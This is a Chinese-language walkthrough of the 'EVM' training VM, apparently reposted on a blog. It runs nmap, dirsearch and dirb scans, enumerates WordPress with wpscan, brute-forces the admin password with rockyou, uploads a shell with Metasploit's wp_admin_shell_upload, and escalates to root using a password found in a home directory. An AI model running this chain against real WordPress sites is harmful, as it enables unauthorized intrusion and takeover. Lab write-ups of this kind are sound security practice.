EVM


靶机设置

将靶机导入VirtualBox中,有时候导入VM会出错,扫描不到ip地址。
image
kali:192.168.1.100
kali扫描获得ip地址:192.168.1.107
image

渗透测试

接着扫描端口

nmap -sS -sV -T5 -A -p- 192.168.1.107

image
访问80端口
image
没有什么有用的信息,扫一下目录

./dirsearch.py -u http://192.168.1.107 -e*

扫出info.php
image
换个工具在扫一波

dirb http://192.168.1.107

image
扫到wordpress目录,访问一下:
image
发现使用的是wordpress框架,使用wpscan工具进行扫描

wpscan --url http://192.168.1.107/wordpress -e ap -e at -e u

扫描到一个用户:c0rrupt3d_brain
image
接着使用此工具爆破密码

wpscan --url http://192.168.1.107/wordpress -U  c0rrupt3d_brain -P /usr/share/wordlists//rockyou.txt

image
密码为: 24992499
Metasploit有内置wordpress漏洞
启动Metasploit,然后键入以下命令:

msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.107
set USERNAME c0rrupt3d_brain
set PassWORD 24992499
set targeturi /wordpress
run

image
成功了,cd /home
image
有一个root3r的文件,进入查看
image
有一个.root_password_ssh.txt文件查看
image
获得了ssh的密码:willy26
我们知道了root用户的密码好我们提权
我们先建立交互式

shell
python -c 'import pty;pty.spawn("/bin/bash")'
su root
willy26

image
提权成功
进入root文件夹下获取flag信息
image


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM